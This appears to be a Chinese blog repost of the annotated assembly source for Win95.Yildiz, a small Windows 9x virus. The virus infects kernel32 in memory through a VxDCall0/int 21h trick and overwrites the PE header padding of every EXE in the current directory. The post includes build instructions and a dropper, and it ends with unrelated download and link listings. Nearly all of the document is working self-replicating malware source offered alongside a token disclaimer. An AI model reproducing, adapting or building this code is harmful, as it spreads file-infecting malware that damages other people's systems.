原创 2006年06月01日 21:06:00

NAME: Win95.Yildiz
AUTHOR: Black Jack [independant Austrian Win32asm virus coder]
TYPE: Win9x direct acting/global ring3 resident PE header cavity virus
SIZE: 323 bytes (but of course infected files won"t increase in size)

DESCRIPTION: When an infected file is run, the virus takes control. It then
       tries to find the kernel32 base address by a simple algorithm
       which should make it compatible with Win9X and WinME (although I
       haven"t tested it with the second one). After that it gets the
       undocumented Win9X API VxDCall0 and uses it to call int 21h. The
       VxDCall0 API is the very first exported API in Win9X; I don"t
       know which API is first in WinNT, that"s why unpredictable
       results may occur when the virus runs in that OS (I haven"t tried
       it out, but of course the virus can"t work in NT).
       Then it goes TSR (read more about this a bit later), and infects
       all PE EXE files in the current directory by overwriting the
       unused padding bytes in the PE header with the virus body.
       The memory residency consist in infecting kernel32.dll in memory.
       To do so, it creates a temporary file called "Yildiz." and writes
       the first 4KB of kernel32.dll there. Then this file is infected
       like any other PE file. And finally the content of the infected
       temp file is read back into kernel32 memory. Yep, you have read
       right, by using the int21h with VxDCall0 you can read from a file
       into read-only memory! (This trick was discovered by Murkry/IkX,
       read more about it in the comments to his Darkside virus source,
       published in Xine#3).
       As I have already said, the kernel32 is infected in memory just
       like any other file, this means the entry point is set to the
       virus, no APIs are hooked. As you should know, the entry point
       of a DLL is a init routine that is called whenever the DLL is
       loaded by a program. And since kernel32 is imported by all
       programs, this means for us that whenever a program is run (and
       kernel32 is mapped into the program"s address space), our virus
       will infect all PE EXE files in the directory of the program.

        tasm32 /mx /m yildiz.asm
        tlink32 /Tpe /aa yildiz.obj,,, import32.lib

        there"s no need for PEWRSEC or a similar tool, because the
        virus code is supposed to run in read-only memory anyways.

DISCLAIMER: I do *NOT* support the spreading of viruses in the wild.
      Therefore, this source was only written for research and
      education. Please do not spread it. The author can"t be hold
      responsible for what you decide to do with this source.

; ===========================================================================

virus_size EQU (virus_end - virus_start)

Extrn MessageBoxA:Proc         ; for first generation only
Extrn ExitProcess:Proc

.model flat
    dd 0              ; dummy data, you know...

    pushad             ; save all registers

    xchg edi, eax          ; put delta offset to EDI (EAX=start
                    ; offset of program by default)

    mov eax, [esp+8*4]       ; EAX=some address inside kernel32

    sub esp, size stack_frame    ; reserve room on stack
    mov esi, esp          ; set ESI to our data on the stack

    xor ax,ax            ; we assume the least significant
                    ; word of the kernel32 base is zero
    cmp word ptr [eax], "ZM"    ; is there a MZ header ?
    JE found_kernel32        ; if yes, we found the correct
                    ; kernel32 base address
    dec eax             ; 0BFF80000->0BFF7FFFF, and then the
                    ; least significant word is zeroed
    JMP search_kernel32       ; check next possible kernel32 base

tmp_filename  db "Yildiz", 0
filespec    db "*.EXE", 0

    mov ebx, [eax+3Ch]       ; EBX=kernel32 PE header RVA
    add ebx, eax          ; EBX=offset of kernel32 PE header

    mov ebx, [ebx+120]       ; EBX=export table RVA
    mov ebx, [ebx+eax+1Ch]     ; EBX=Address array of API RVAs
    mov ebx, [ebx+eax]       ; get the first API RVA: VxDCall0
    add ebx, eax          ; EBX=Offset VxDCall0 API
    mov [esi.VxDCall0], ebx     ; save it
    lea ebp, [edi+int21h-virus_start] ; EBP=offset of our int21h procedure
                    ; for optimisation reasons, the
                    ; CALL EBP instruction is just 2 bytes

; ----- GO TSR --------------------------------------------------------------

    lea edx, [edi+tmp_filename-virus_start] ; EDX=pointer to tmp filename
    push edx            ; save it on stack

    push eax            ; save kernel32 base address on stack

    mov ah, 3Ch           ; create temp file
    xor ecx, ecx          ; no attributes
    call ebp            ; call our int 21h procedure

    xchg ebx, eax          ; filehandle to EBX, where it belongs

    pop edx             ; EDX=kernel32 base address
    push edx            ; save it again

    call write_file         ; write start of kernel32 to temp file

    call infect           ; infect the temp file

    pop edx             ; EDX=kernel32 base address

    mov ah, 3Fh           ; read infected kernel32 fileststart
    call read_write         ; into kernel32 memory

    mov ah, 3Eh           ; close temp file
    call ebp            ; call our int 21h procedure

    pop edx             ; EDX=pointer to temp filename
    mov ah, 41h           ; delete temp file
    call ebp            ; call our int 21h procedure

; ----- INFECT ALL FILES IN CURRENT DIR -------------------------------------

    mov ah, 2Fh           ; get DTA
    call ebp            ; call our int 21h procedure

    push es             ; save DTA address to stack
    push ebx

    push ds             ; ES=DS (standart data segment)
    pop es

    mov ah, 1Ah           ; set DTA to our data area
    lea edx, [esi.dta]       ; DS:EDX=new DTA adress
    call ebp            ; call our int 21h procedure

    mov ah, 4Eh           ; find first file
    xor ecx, ecx          ; only files with standart attributes
    lea edx, [edi+(filespec-virus_start)] ; EDX=offset of filespec

    call ebp            ; call our int 21h procedure
    JC all_done           ; no more files found?

    mov ax, 3D02h          ; open victim file for read and write
    lea edx, [esi.dta+1Eh]     ; DS:EDX=pointer to filename in DTA
    call ebp            ; call our int 21h procedure

    xchg ebx, eax          ; handle to EBX, where it belongs

    call infect           ; infect the file

    mov ah, 3Eh           ; close the victim file
    call ebp            ; call our int 21h procedure

    mov ah, 4Fh           ; find next file
    JMP findfile_loop

; ----- RESTORE HOST --------------------------------------------------------

    pop edx             ; restore old DTA offset in DS:EDX
    pop ds
    mov ah, 1Ah           ; reset DTA to old address
    call ebp            ; call our int 21h procedure

    push es             ; DS=ES (standart data segment)
    pop ds

    add esp, size stack_frame    ; remove our data buffer from stack

    popad              ; restore all registers

    db 05h             ; add eax, imm32
entry_RVA_difference dd (host-virus_start) ; difference between host and
                      ; virus entrypoint (EAX is virus
                      ; entrypoint offset by default)
    JMP eax             ; jump to host entrypoint

; ----- END MAIN PART OF THE VIRUS CODE -------------------------------------

    pop edi             ; restore EDI (delta offset)
    RET               ; return to caller

; ----- INFECT AN OPENED FILE (HANDLE IN BX) --------------------------------

    push edi            ; save EDI (delta offset)

    mov edx, esi          ; EDX=read/write buffer offset
    mov ah, 3Fh           ; read start of file
    call read_write

    cmp word ptr [esi], "ZM"    ; is it an exe file ?
    JNE exit_infect         ; cancel infection if not

    mov ecx, [esi+3Ch]       ; ECX=new header RVA
    cmp ecx, 3*1024         ; check if DOS stub is small enough
                    ; so that all the PE header is in
                    ; our buffer
    JA exit_infect         ; if not, cancel infection

    lea edi, [esi+ecx]       ; EDI=PE header offset in memory
    cmp word ptr [edi], "EP"    ; is it an PE file ?
                    ; (I know that the PE marker is
                    ; actually a dword, but by only
                    ; checking one word we save a byte
                    ; of virus code)
    JNE exit_infect         ; cancel infection if not

    cmp dword ptr [edi+28h], 4096  ; check if entrypoint RVA is in the
                    ; first 4 KB of the file
    JB exit_infect         ; if yes, the file must be already
                    ; infected, cancel infection

    add ecx, 24           ; add size of FileHeader
    movzx eax, word ptr [edi+14h]  ; EAX=size of Optional header
    add ecx, eax          ; add it to ECX
    movzx eax, word ptr [edi+6]   ; EAX=NumberOfSections
    imul eax, eax, 40        ; get size of section headers to EAX
    add ecx, eax          ; add it to ECX, now it points to the
                    ; end of the used part of the PE
                    ; header, where the virus will be.

    mov edx, ecx          ; EDX=virus RVA
    xchg dword ptr [edi+28h], edx  ; set it as new entrypoint RVA
    sub edx, ecx          ; EDX=difference between old and new
                    ; entrypoint RVA

    mov eax, [edi+54h]       ; EAX=SizeOfHeaders (aligned to
                    ; FileAlign)

    lea edi, [esi+ecx]       ; EDI=virus offset in buffer

    sub eax, ecx          ; EAX=free room for us to use
    mov cx, virus_size       ; ECX=size of virus (the most
                    ; significant word of ECX should be 0)
    cmp eax, ecx          ; enough room for the virus ?
    JL exit_infect         ; cancel infection if not

    pop eax             ; EAX=delta offset
    push eax            ; save it again to stack
    xchg esi, eax          ; ESI=delta offset, EAX=data buffer

    cld               ; clear direction flag
    rep movsb            ; move virus body into buffer

    xchg esi, eax          ; ESI=pointer to our data on stack

    mov [edi-(virus_end-entry_RVA_difference)], edx ; store difference
                    ; between old and new entrypoint

    pop edi             ; restore EDI (delta offset)

    mov edx, esi          ; EDX=offset of read/write buffer

                    ; now write modified start of file,
                    ; then return to caller

write_file :
    mov ah, 40h           ; write to file

    xor ecx, ecx          ; ECX=0
    pushad             ; save all registers

    xor eax, eax          ; EAX=4200h (set filepointer from
    mov ah, 42h           ; start of the file
    cdq               ; CX:DX=0 (new filepointer)
    call ebp            ; call our int 21h procedure

    popad              ; restore all registers

    mov ch, 10h           ; ECX=4096 (size of read/write buffer)

                    ; now execute int 21h and return

int21h:                 ; protected mode int21
    push ecx            ; push parameters
    push eax
    push 2A0010h          ; VWIN32_Int21Dispatch function
    call ss:[esi.VxDCall0]     ; call VxDCall0 API


; This is our data that will be stored on the stack:

stack_frame   struc
buffer     db 4096 dup(?)
dta       db 43 dup(?)
VxDCall0    dd ?
stack_frame   ends

    push 0
    push offset caption
    push offset message
    push 0
    call MessageBoxA

    push 0
    call ExitProcess

caption db "Win95.Yildiz Virus (c) 2000 Black Jack", 0
message db "first generation dropper", 0

end virus_start


win95:a developer's guide部分源代码

  • 2008年12月10日 14:33
  • 2.97MB
  • 下载

Win95+IE3 – Win10+IE11全版本执行漏洞(含POC)

微软本月安全更新修复了一个潜藏了18年的IE远程代码执行漏洞(CVE-2014-6332),可以说是给windows吃了一颗大补丸。缺陷出现在VBScript的代码中,自Windows 95首次发布(...

virtualbox 装win95 win98

这两天折腾电脑上瘾,仿佛回到小时候,先是给3个电脑从win7升级到win10,又给mbp换了ssd和内存,重装了10.11系统,又给换下的硬盘用win to go装了win10,mac变成了双硬盘双系...

Win95+IE3 – Win10+IE11全版本执行漏洞(转载)



  • 2013年02月27日 16:57
  • 5.32MB
  • 下载

Internet Explorer 3.02 for Win95

  • 2013年04月16日 14:57
  • 10.59MB
  • 下载

C语言 WIN32窗口实现 俄罗斯方块Tetris 源代码

最近有空闲时间,就想编一个俄罗斯方块试试,期间也碰到了一些问题,在网上查找了很多资料。       现在代码已经完成了,游戏支持开始(包括从暂停恢复和结束后重新开始)、暂停、空格键落地及基本功能,玩起...

win95 虚拟机,由wmware V7.1.4制作

  • 2015年10月07日 01:23
  • 141.2MB
  • 下载

[源代码]WIN32 SDK界面研究<1>:模仿Windows命令行或telnet客户端的窗口

前言: MFC丰富的控件对于一般程序员来说可以快速构建自己的程序,把开发的重心放在应用的功能实现上。但是程序界面问题一直是MFC程序的软肋,相信用过MFC的人相信都没有少受MFC自绘界面的痛苦。自从...